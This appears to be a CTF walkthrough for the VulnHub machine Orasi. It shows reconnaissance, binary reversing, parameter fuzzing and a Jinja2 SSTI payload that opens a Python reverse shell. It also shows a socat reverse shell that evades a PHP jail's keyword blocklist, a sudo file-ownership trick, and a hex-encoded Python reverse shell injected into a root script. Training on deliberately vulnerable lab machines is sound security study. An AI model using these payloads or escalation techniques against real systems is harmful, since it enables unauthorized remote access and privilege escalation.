Orasi: BOOT2ROOT CTF VULNHUB WRITEUP
Welcome back to another writeup! In this post, I’ll be walking you through how I managed to pwn Orasi — a machine available on VulnHub. While Orasi has a reputation for being a tough box according to many in the community, I personally found it to be more approachable than expected once I broke it down step-by-step. Throughout this guide, I’ll show you exactly how I tackled it. Let's dive in!!
Reconnaissance
Let's scan for open ports using Nmap for potential entry points.
nmap -A -p- -T5 192.168.121.147

Enumeration
If you noticed, the ftp allow Anonymous access. So let's try to access ftp!
lftp -u anonymous, 192.168.121.147

Under pub directory, there's a file named url

Next thing I did is to transfer the url file to my attacker machine
get url

At my local machine I made it executable
chmod +x url
and execute
./url

Nothing useful, so I fired up Ghidra to analyze the code and dig into its logic, hoping to uncover something hidden beneath the surface.

Notice the pattern? When we examine the main function more closely, some interesting behavior stands out. The code seems to be setting up values for certain operations by moving them into the source and destination indices, followed by a call to the insert function. Specifically, at lines 1192 and 1197, the opcodes be and bf are used, these correspond to instructions that move a value into the ESI (source index) and EDI (destination index) registers, respectively. The hexadecimal value immediately following each of these opcodes represents the actual data being assigned.
I gathered all the hexadecimal values that were assigned to the source index just before each call to the insert function, and here's what I found
2f 73 68 34 64 30 77 24 73
Next thing I did is to decode this hex to ASCII using xxd and here's the result

/sh4d0w$s
This seems to resemble a URL path. Speaking of URLs, let’s go ahead and check out the HTTP interface to see what’s there.

Hmm... the sequence 6 6 1337leet looks familiar, it resembles the kind of syntax or pattern you’d see used in a specific tool.
How about the other http? Port 5000 (Running in Python Server)

What if I add the decoded path?

This suggests that the path is expecting some kind of input, possibly a GET parameter. However, since we don’t know the exact parameter name yet, we’ll need to fuzz for it.
Let’s head back to port 80. That 6 6 1337leet pattern? Turns out, it’s actually a syntax used in Crunch. Maybe we can use the generated wordlist to fuzz the GET parameter.
crunch 6 6 1337leet -o wordlist.txt

Now that we have the wordlist, let's fuzz the GET parameter using ffuf
ffuf -c -u 'http://192.168.121.147:5000/sh4d0w$s?FUZZ=so_drained' -w wordlist.txt -fs 8
The -fs 8 option filters out responses with a size of 8. This means that, for every incorrect GET parameter, the server will return "No input" with a length of 8. However, for the correct parameter, the response size will likely vary since I’ve used a value longer than 8 characters. To observe the response sizes more clearly, we can remove the filter and analyze them directly. This is a fundamental step in fuzzing, just a heads-up in case you're not yet familiar with the process.

Exploitation
Eventually, I identified the correct GET parameter. Given that the server is running Python, it’s likely using jinja2-style templates. To verify this, I tried the following payload to see if the server is vulnerable to server-side template injection (SSTI).
{{10*10}}
Here's the result

It's confirmed!! At this stage, we can establish a reverse shell. Here's the payload
{% for cls in ().__class__.__base__.__subclasses__() %}{% if cls.__name__.find("warning") != -1 %}{{cls()._module.__builtins__.get('__import__')('os').popen("python3 -c 'import socket,os,pty,subprocess as sp;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.121.32\",4444));[os.dup2(s.fileno(),fd) for fd in range(3)];pty.spawn(\"/bin/bash\")'")}}{% endif %}{% endfor %}
After running the payload through the l333tt parameter, we successfully gained a shell.

Navigating to the home directory, there are 2 users

Next thing I did is to check the sudo permissions of www-data
sudo -l

It turns out that we can execute a PHP script as user kori, next thing I did is to check the content of the jail.php
<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);
if($var == null) die("Orasis Jail, argument missing\n");
function filter($var) {
if(preg_match('/(`|bash|eval|nc|whoami|open|pass|require|include|file|system|\/)/i', $var)) {
return false;
}
return true;
}
if(filter($var)) {
$result = exec($var);
echo "$result\n";
echo "Command executed";
} else {
echo "Restricted characters has been used";
}
echo "\n";
?>
This is the reason why it gets harder, it’s clear that the script is capable of executing commands. However, if the input contains specific keywords such as bash, eval, nc, and similar, it triggers a warning message saying “restricted characters have been used.” Additionally, the use of the slash (/) is also blocked, preventing us from referencing full binary paths like /bin/bash.
But they forgot something, just noticed that socat is not included, that's why I wonder if there's a socat in this and it has!!!! We can use socat, to spawn a shell as user kori!
Next thing I did is to establish another listener in my local machine and execute this command in the target
sudo -u kori php /home/kori/jail.php socat TCP:192.168.121.32:3333 EXEC:'sh',pty,stderr,setsid,sigint
Execute and it should spawn a shell

Next thing I did is to upgrade the shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

I've checked the sudo permissions of the user kori
sudo -l

It appears that the user kori has permission to copy an APK file from irida’s home directory into their own directory.
sudo -u irida cp /home/irida/irida.apk /home/kori/irida.apk

Why permission denied?
Since we’re now running commands as the user irida, we have access to the irida.apk file located in her home directory. However, irida doesn't have write permissions for kori’s directory. To work around this, I had to modify the directory's permissions to allow write access for other users.
chmod o+w .
Then execute this again
sudo -u irida cp /home/irida/irida.apk /home/kori/irida.apk

But there's still a problem

As you can see, the owner is still irida even though we've successfully copied it to kori, so technically, we cannot still access the apk file. What should we do?
First we will delete the irida.apk in user kori and we will make a new one but empty
touch irida.apk
Then we will change file permission to 777 to give full access to everyone
chmod 777 irida.apk
Finally we will copy the apk again from irida
sudo -u irida cp /home/irida/irida.apk /home/kori/irida.apk
Here's the result

As you can see here, the owner of irida.apk is now kori!!
I transfer the APK file to my local machine to decompile it
target
php -S 0.0.0.0:1234
attacker
wget http://<target_ip>:1234/irida.apk
After transfer I decompile the APK file but first let's unzip the APK file
unzip irida.apk
Its internal structure will be extracted along with the classes.dex
Next thing I did is to convert the classes.dex to Java archives using d2j-dex2jar
d2j-dex2jar classes.dex
Upon exploring the generated .class files, I found this file that seems interesting

The LoginDataSource.class caught my eye, so all I did is to decompile it using procyon and here's the decompiled version
//
// Decompiled by Procyon v0.6.0
//
package com.alienum.irida.data;
import java.util.HashMap;
import java.io.IOException;
import java.util.UUID;
import com.alienum.irida.data.model.LoggedInUser;
public class LoginDataSource
{
public Result<LoggedInUser> login(final String s, final String s2) {
if (s.equals("irida") && s2.equals(this.protector("1#2#3#4#5"))) {
try {
return new Result.Success<Object>(new LoggedInUser(UUID.randomUUID().toString(), "Irida Orasis"));
}
catch (final Exception cause) {
return new Result.Error(new IOException("Error logging in", cause));
}
}
return new Result.Error(new IOException("Error logging in", null));
}
public void logout() {
}
public String protector(String string) {
final String[] split = string.split("#");
final HashMap hashMap = new HashMap();
hashMap.put(split[0], "eye");
hashMap.put(split[3], "tiger");
hashMap.put(split[4], "()");
hashMap.put(split[1], "of");
hashMap.put(split[2], "the");
final StringBuilder sb = new StringBuilder();
sb.append(hashMap.get(split[0]));
sb.append(".");
sb.append(hashMap.get(split[1]));
sb.append(".");
sb.append(hashMap.get(split[2]));
sb.append(".");
sb.append(hashMap.get(split[3]));
sb.append(".");
sb.append(hashMap.get(split[4]));
string = sb.toString();
System.out.println(string);
return string;
}
}
This code defines a simple login system in the LoginDataSource class, where the login method authenticates a user by checking if the username is irida and if the password, after being passed through a custom transformation method called protector, matches a specific hashed structure built from a #-separated string ("1#2#3#4#5") mapping numeric keys to values like "eye.of.the.tiger()". If the credentials match, it returns a success result with a generated UUID and the name Irida Orasis; otherwise, it returns an error. The protector method acts as a basic obfuscation mechanism for the expected password.
This strongly indicates that the password for the user irida is being revealed here, but where exactly? If you recall from our Nmap scan, the SSH service is open. It's possible that the password found in the code belongs to irida. If that's the case, we might be able to log in via SSH using her credentials.
ssh irida@192.168.121.147

It works!!!

Privilege Escalation
Now it's time to escalate privilege
First thing is to check the sudo permissions as always

As shown here, we are allowed to execute a Python script as root, but we don't have the permission to read the file. So our only option here is to execute the script
sudo python3 /root/oras.py

The input is expected to be in hexadecimal byte format, which will then be decoded into a string. So, we need to adjust the command accordingly.

It appears that Python commands can be injected, as the input is being passed directly to the exec function. This function can execute multiple lines of Python code, making it a potential injection point.
My plan here is to execute a reverse shell payload. But before that, we’ll set up a listener on our attacker machine. If everything works as intended, it should grant us a root shell.
python3 -c "print(b"import socket,os,pty;s=socket.socket();s.connect(('192.168.121.32',5454));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('sh')".hex())" | sudo python3 /root/oras.py
Execute and here's the result

It works!!! We're now root!!

We've successfully pwned Orasi!
Conclusion
This Boot2Root challenge was quite a journey, definitely time-consuming and a bit lengthy to work through, haha. However, it was packed with valuable learning experiences. It covered a wide range of concepts essential to both CTF competitions and real-world ethical hacking, including reverse engineering, crafting reverse shells, and adapting when standard tools aren’t available. It really emphasizes the importance of creativity, persistence, and a solid understanding of system behavior. Challenges like this push you to think outside the box and sharpen your problem-solving skills, all while having a bit of fun along the way.
Last updated